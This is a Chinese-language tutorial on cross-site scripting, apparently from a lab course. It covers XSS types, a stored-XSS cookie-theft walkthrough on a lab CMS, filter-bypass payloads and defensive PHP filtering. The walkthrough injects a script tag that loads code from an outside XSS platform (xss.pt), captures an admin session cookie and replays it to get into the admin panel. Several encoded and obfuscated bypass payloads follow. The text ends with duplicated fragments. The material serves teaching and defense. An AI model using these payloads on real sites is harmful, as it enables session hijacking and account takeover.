跨站脚本攻击XSS

1. 跨站脚本攻击

1.1 漏洞概述

  • XSS攻击利用的是Javascript代码;
  • Javascript运行环境(解释器)是浏览器,因为浏览器中有一个引擎专门解释运行Javascript的(chrom v8引擎 );
  • XSS攻击的是客户端浏览器

跨站点脚本(Cross Site Scripting,XSS)是指客户端代码注入攻击,攻击者可以在合法网站或Web应用程序中执行恶意脚本。当wb应用程序在其生成的输出中使用未经验证或未编码的用户输入时,就会发生XSS。
跨站脚本攻击,XSS(Cross Site Scripting)。由于与CSS(Cascading Style Sheet))重名,所以就更名为
XSS。
XSS作为OWASP TOP10(2017)内容之一,主要使用JavaSript来完成恶意攻击的行为,JS可以非常灵活的操纵HTML、CSS、浏览器,这就使得XSS攻击“想象"空间非常大。也就是说,JS强大的灵活性和功能,为XSS攻击提供了非常广阔的攻击面。

HTML页面一共有三种语言:
	HTML			网页框架结构
	css				颜色、字体等样式
	JavaScript		操纵浏览器,网页内容。
		js
		<script></script>

1.2 xss漏洞原理

1.2.1 攻击模型

XSS 通过将精心构造的代码(JavaScript)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入过的网页,XSS 脚本就会被提取出来,用户浏览器就会解析执行这段代码,也就是说用户被攻击了。

整个XSS 攻击过程,涉及三个角色:

  • 服务器

  • 攻击者

  • 客户端浏览器用户(前端)

攻击流程:

  1. 攻击者将XSS代码注入到web服务器中
  2. 受害者访问被注入的网页,网页资源加载到受害者浏览器中,浏览器发现加载内容包含js代码,浏览器就尝试解释执行js代码,一旦执行成功,那么受害者浏览器就遭受了攻击
  3. 攻击后的操作可能是将敏感信息发送给攻击者,攻击者拿到敏感信息后进行恶意欺骗
  4. 核心三步骤:
    • 攻击者向服务器注入恶意代码
    • 受害者访问服务器
    • 受害者执行恶意代码

image-20230825104032262

注意:

  • 搜索框、登录框、微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险。

  • XSS注入等待受害者访问被注入恶意代码的页面,很被动所以也叫XSS盲打。

  • XSS攻击目标是客户端浏览器用户,由于浏览器的类别不同,攻击效果不同,甚至于同一款浏览器,攻击效果都不一样。

1.3 xss漏洞危害

XSS 是利用JS 代码实现攻击,有很多危害:

  • 盗取各种用户账号;

  • 窃取用户Cookie 资料,冒充用户身份进入网站;

  • 劫持用户会话执行任意操作;

  • 刷流量,执行弹窗广告;

  • 传播蠕虫病毒;

1.4 漏洞验证

可以使用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做POC(Proof of Concept)。验证XSS 漏洞存在的POC 如下:

<script>alert(/xss/);</script>		<!--弹窗-->
<script>confirm(/xss/);</script>	<!--确认对话框-->
<script>confirm('xss');</script>	<!--确认对话框-->
<script>prompt('xss');</script>		<!--提示对话框-->

如果页面弹窗,浏览器把用户提交的字符串当做JS 来执行,并且执行成功,说明XSS 漏洞存在。

1.5 XSS漏洞分类

  • 反射型XSS
  • 存储型XSS
  • DOM 型XSS
1.5.1 反射型XSS

非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。注意到,反射型XSS 代码出现在keywords 参数中。

http://10.4.7.130/cms/search.php? keywords=%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&button=%E6%90%9C%E7%B4%A2

容易被发现,利用难度高,很多漏洞提交平台不收反射型XSS 漏洞。

1.5.2 存储型XSS

持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

危害面比较广,漏洞提交平台会接收此类漏洞。

1.5.3 DOM型XSS

DOM 型XSS 是一种XSS 攻击,其中攻击的代码是由于修改受害者浏览器页面的DOM 树而执行的。特殊的地方就是攻击代码(payload) 在浏览器本地修改DOM 树而执行,并不会将payload 上传到服务器,这也使得DOM 型XSS 比较难以检测。

http://10.4.7.130/xss_test/DOM-XSS/?message=%3Cscript%3Ealert(/xss/)%3C/script%3E http://10.4.7.130/xss_test/DOM-XSS/#message=%3Cscript%3Ealert(/xss/)%3C/script%3E

注意:

  • 修改DOM 树执行;

  • 采用# 号的方式,参数不会提交到服务器。

2. XSS攻防案例

2.1 固定会话

2.1.1 原理

用户会话令牌利用Cookie 来实现的,Cookie 是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险。可以利用XSS 攻击窃取到浏览器里的Cookie 信息。

由于XXS 触发需要浏览器客户端用户(受害者)参与,攻击者不清楚何时何地会触发漏洞,这个过程一般被成为XSS 盲打。

2.1.2 XSS 平台

image-20230825144639994

2.1.3 窃取
username=admin; userid=1; PHPSESSID=b09m2i6ppthmqqg26no26co6m3
2.1.4 欺骗
document.cookie = 'username=admin'; document.cookie = 'userid=1';
document.cookie = 'PHPSESSID=b09m2i6ppthmqqg26no26co6m3';
2.1.5 影响
  • 黑客可以利用Cookie 信息,也就是身份凭据,登录后台;
  • 即使管理员注销登录,会话依然有效;
  • 即使管理员修改了密码,会话依然有效。
2.1.6 案例

登录xss平台xss.pt

xxxxxx
xujie991207

image-20230825111733452

image-20230825111816417

image-20230825111929438

image-20230825112023623

sRC是属性

访问http://xss.pt/vXHKRj可以看到是一段恶意代码。

image-20230825111025346

在页面可能存在xss漏洞的地方输入

<sCRiPt sRC=//xss.pt/vXHKRj></sCrIpT> <!--将此标签注入到可能存在xss漏洞的地方,当浏览器检测到此标签的时候,就进入Javascript模式,通过sRC属性寻找sRC属性中的http请求,http地址xss.pt/vXHKRj,去寻找恶意代码在受害者浏览器中执行。-->

打开靶场cms,点击留言板

image-20230825112117640

输入标题,姓名,验证码和留言内容,在留言内容前添加标签

image-20230825112456815

image-20230825112501826

模拟管理员管理后台:登录cms后台,留言管理

image-20230825112620596

查看留言觉得没有问题,点击留言进行验证。但是真实情况中,已经遭受攻击。

回到xss平台,点击项目,点击折叠,查看内容,获取到了管理员的cookie

username=admin; 
userid=1; 
PHPSESSID=ijikkfaikvnnq26vs7g63gl4n1

image-20230825112933610

获得cookie使用document将cookie写入浏览器中,打开cms后台登陆,打开F12输入

document.cookie
document.cookie= "username=admin";
document.cookie= "userid=1";
document.cookie= "PHPSESSID=ijikkfaikvnnq26vs7g63gl4n1";

1

三条cookie写完之后刷新页面,没有反应,那么直接访问admin目录,就是登录后台。

image-20230825114102771

3. XSS攻防

3.1 构造方法

通过何种方法触发XSS?

3.1.1 利用<>
<img src = "图片的路径">

<script>alert(/xss/)</script>
3.1.2 JavaScript 伪协议

可以通过URL 载入资源的标签

<a href = javascript:alert(/xss/)>click me!</a><!--javascript后跟js代码-->

<img src = "https://pics6.baidu.com/feed/3ac79f3df8dcd1000d8ab55e27537817b8122f9e.png?token=f274d484854c1e48d6b331717388850f">
<img src = "javascript:alert(/xss/)">	<!-- IE6 -->

XSS 攻击的是浏览器,受前端影响比较大。浏览器的类型,版本等因素都会影响XSS 的效果。

可能有浏览器不支持JavaScript伪协议

3.1.3 事件响应

“事件驱动”是一种比较典型的编程思想。

html事件

事件类型说明
window 事件对window 对象触发的事件
Form 事件HTML 表单内触发的事件
Keyboard 事件键盘事件
Mouse 事件鼠标事件
Media 事件由多媒体触发的事件
<img
src = "图片路径">

<img
onmouseover = 'alert(/dont touch me!/)'
src = "图片路径">

<input type = 'text' onkeydown = 'alert(/xss/)'>
<input type = 'text' onkeyup = 'alert(/xss/)'>

3.1.4 其他标签
<svg onload='alert(/xss/)'>
<input onfocus=alert(/xss/) autofocus>
3.1.5 参考

Cross-site scripting (XSS) cheat sheet

3.2 XSS变形

cms 网站搜索框存在反射性XSS 漏洞,POC 如下:

<script>alert(/xss/)</script>

尝试在代码角度,对XSS 漏洞进行修复:修改 /cms/search.php 文件,对 $_GET[‘keywords’] 进行过滤,代码如下:

$keyword = $_GET['keywords'];

//将<script>替换为空
// $keyword = str_replace("<script>", "", $keyword);

//忽略大小写
// $keyword = preg_replace("/<script>/i", "", $keyword);	

//正则匹配过滤
//(.*):表示任意字符过滤。
$keyword = preg_replace("/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t>/i", "", $keyword);	

//过滤事件
// $keyword = str_replace("on", "o_n", $keyword);

//过滤大小写。例如:ONclick
$keyword = preg_replace("/on/i", "o_n", $keyword);

//过滤左尖括号
// $keyword = str_replace("<", "", $keyword);

//过滤右尖括号
// $keyword = str_replace(">", "", $keyword);

//
$keyword = htmlspecialchars($keyword);

echo $keyword;

3.2.1 大小写转换

浏览器对HTML 标签大小写不敏感。

<ScRiPt>alert(/xss/)</script>
<img ONerror = 'alert(/xss/)' src = "#">
3.2.2 关键字双写

绕过一次过滤

<scr<script>ipt>alert(/xss/)</script>
3.2.3 对伪协议进行转码

HTML 编码:

字母ASCII 码十进制编码十六进制编码
a97&#97;&#x61;
c99&#99;&#x63;
e101&#101;&#x65;
<a href = '&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(/xss/) '>click me!</a>

编码只在伪协议中生效

其他编码:

  • utf-8 编码
  • utf-7 编码
3.2.4 插入其他字符

可以将以下字符插入到任意位置

字符编码
Tab&#9;
换行&#10;
回车&#13;
<a href = 'j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>

将以下字符插入到头部位置。

字符编码
SOH&#01;
STX&#02;
<a href = '&#01;&#02;j&#9;avasc&#10;r&#13;ipt:alert(/xss/)'>click me!</a>
3.2.5 引号的使用

HTML 语言对引号的使用要求不严格,某些过滤函数是“锱铢必较”。

  • 没有引号
  • 单引号
  • 双引号
<Img sRc=# OnErRoR=alert(/xss/);>
<Img sRc = '#' OnErRoR='alert(/xss/)'>
<Img sRc = "#" OnErRoR="alert(/xss/)">
3.2.6 /代替空格
<Img/sRc='#'/OnErRoR='alert(/xss/)'>

使用/代替空格

3.2.7 拆分跨站

将一段JS 代码拆成多段。

<script>eval(alert(/xss/))</script>

<script>z='alert'</script>
<script>z+='(/xss/)'</script>
<script>eval(z)</script>

3.3 XSS的防御

XSS 过滤器的作用是过滤用户(浏览器客户端)提交的有害信息,从而达到防范XSS 攻击的效果。

3.3.1 输入过滤

永远不要相信用户的输入。

输入验证:对用户提交的信息进行“有效性”验证。

  • 仅接受指定长度;

  • 仅包含合法字符;

  • 仅接收指定范围;

  • 特殊的格式,例如,email、IP 地址。

数据消毒:过滤或净化掉有害的输入。

<?php
// echo $_GET['keywords'];

$keywords = $_GET['keywords'];
$keywords = strtolower($keywords);
$keywords = str_replace("on", "", $keywords);
$keywords = str_replace("<script>", "", $keywords);
$keywords = str_replace("<", "", $keywords);
$keywords = str_replace(">", "", $keywords); echo $keywords;
?>
3.3.2 输出编码

HTML 编码是HTML 实体编码。

$keywords = htmlspecialchars( $_GET[ 'keywords' ] );
3.3.3 黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容
  • 白名单:允许的内容
3.3.4 防御DOM型XSS

避免客户端文档重写,重定向或其他敏感操作。

3.3.5 终极测试代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

使用此代码测试就可以判断出后台代码使用了哪些过滤

eywords);
$keywords = str_replace(“<”, “”, $keywords);
$keywords = str_replace(“>”, “”, $keywords); echo $keywords;
?>


#### 3.3.2 输出编码

HTML 编码是HTML 实体编码。

```php
$keywords = htmlspecialchars( $_GET[ 'keywords' ] );
3.3.3 黑白名单策略

不管是采用输入过滤还是输出编码,都是针对用户提交的信息进行黑、白名单式的过滤:

  • 黑名单:非允许的内容
  • 白名单:允许的内容
3.3.4 防御DOM型XSS

避免客户端文档重写,重定向或其他敏感操作。

3.3.5 终极测试代码
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>

使用此代码测试就可以判断出后台代码使用了哪些过滤

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐